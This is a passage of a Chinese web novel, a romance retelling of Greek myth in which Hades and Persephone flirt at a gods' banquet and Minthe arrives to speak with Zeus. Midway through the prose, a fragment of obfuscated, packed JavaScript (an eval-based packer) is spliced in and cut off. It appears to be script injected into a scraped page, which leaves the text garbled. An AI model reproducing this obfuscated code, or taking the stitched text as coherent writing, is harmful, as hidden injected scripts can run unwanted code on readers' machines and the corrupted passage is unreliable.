“姐姐怎么又这么叫我……”珀瑟福看起来还是有些失望,却依旧听她的话,“好吧,那你可以亲我一下吗?就在脸颊这里也行。” 为了安抚心有不甘的小可爱,哈蒂丝动了动被藤蔓缠住的左手臂,使其朝自己低头而来。 紧接着,色泽浅淡的嘴唇便轻轻地亲吻了他的脸颊,她亲眼见它浮上红晕。 “好爱你,姐姐。”珀瑟福被这一吻亲得脑袋晕晕乎乎,喜笑颜开。 哈蒂丝勾起嘴角:“我知道。” 这一幕正好被主宾席的各位神祇尽收眼帘。 “哇哦”组再接再厉,新增阿佛洛狄忒、赫斯提亚、阿尔忒弥斯、狄奥尼索斯和波塞冬几员大将。 “日安,你们终于来了!” 德墨忒尔更是兴奋至极,直接起身过去把哈蒂丝和珀瑟福拉到自己这边坐下。 “天呐,我刚刚还在跟赫拉说你俩是不是已经订婚了!”德墨忒尔甚至大力地拍了拍自家儿子的脑袋,引来其不满的瞪视,“好小子,我就知道你行!瞪我也没用,小心我让哈蒂丝姐姐惩罚你去塔尔塔洛斯看守那群老家伙。” 真是熟悉的称呼啊,‘哈蒂丝姐姐’…… 哈蒂丝打了招呼后便优雅地在德墨忒尔旁侧的座位坐下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“赫尔墨斯经常这么叫宙斯,我觉得还挺好听的。”珀瑟福诚实地回答道。 “那你这么叫时可得小心一些。” “好,我尽量。” 尽量?你最好是真的噢。 眼见珀瑟福露出狡黠的笑容,哈蒂丝情不自禁地伸手捏了捏他的脸颊,力道不轻不重,令这张总是诱惑自己的白净面容显现淡淡的粉色。 小家伙真是好的不学,净学坏的。 咳……‘哈蒂丝姐姐’这个除外。 “唔,姐姐的手也带着香味,好喜欢……” “又开始油嘴滑舌了吗?” “但我说的全部都是真心话嘛。” “……” 以上省略更多小情侣之间的腻腻歪歪。 德墨忒尔边喝着葡萄酒边观赏着他俩的亲密举动,笑得合不拢嘴。 太好了,感觉没过多久就可以看见哈蒂丝与珀瑟福结婚了,毕竟都戴上订婚戒指了,还一起住了这么久…… 等等,差点忘记问他们两个到底是不是真的订婚了! 正当德墨忒尔要开口时,就察觉到某位再熟悉不过的老朋友缓缓朝主宾席走近。 而在不久前,这位老朋友还站在哈蒂丝的身侧,故意惹珀瑟福不快。 “日安,诸位。” 哭河之子身穿月亮般闪耀的银白色长袍,棕褐色长发发依然高高扎起,温润得体的微笑挂在那张俊美的脸庞上。 在哈蒂丝和珀瑟福望来时,他从宙斯手边的桌上执起属于自己的酒杯,然后朝她举起。 “好久未见大家聚在一起其乐融融的场景了,今日定有大喜。”明塔目不转睛地凝视着哈蒂丝,脸上的表情变得似笑非笑,“我正因此代表瑞亚女神的意志而来。” “神王陛下,可否与在下私聊须臾?” 明塔忽地移开目光,不再看向哈蒂丝,而是转向闻言变脸的宙斯。 自始至终,他都不会正眼去瞧那只会耍些小手段的春神。 他在得到她之事上胸有成竹。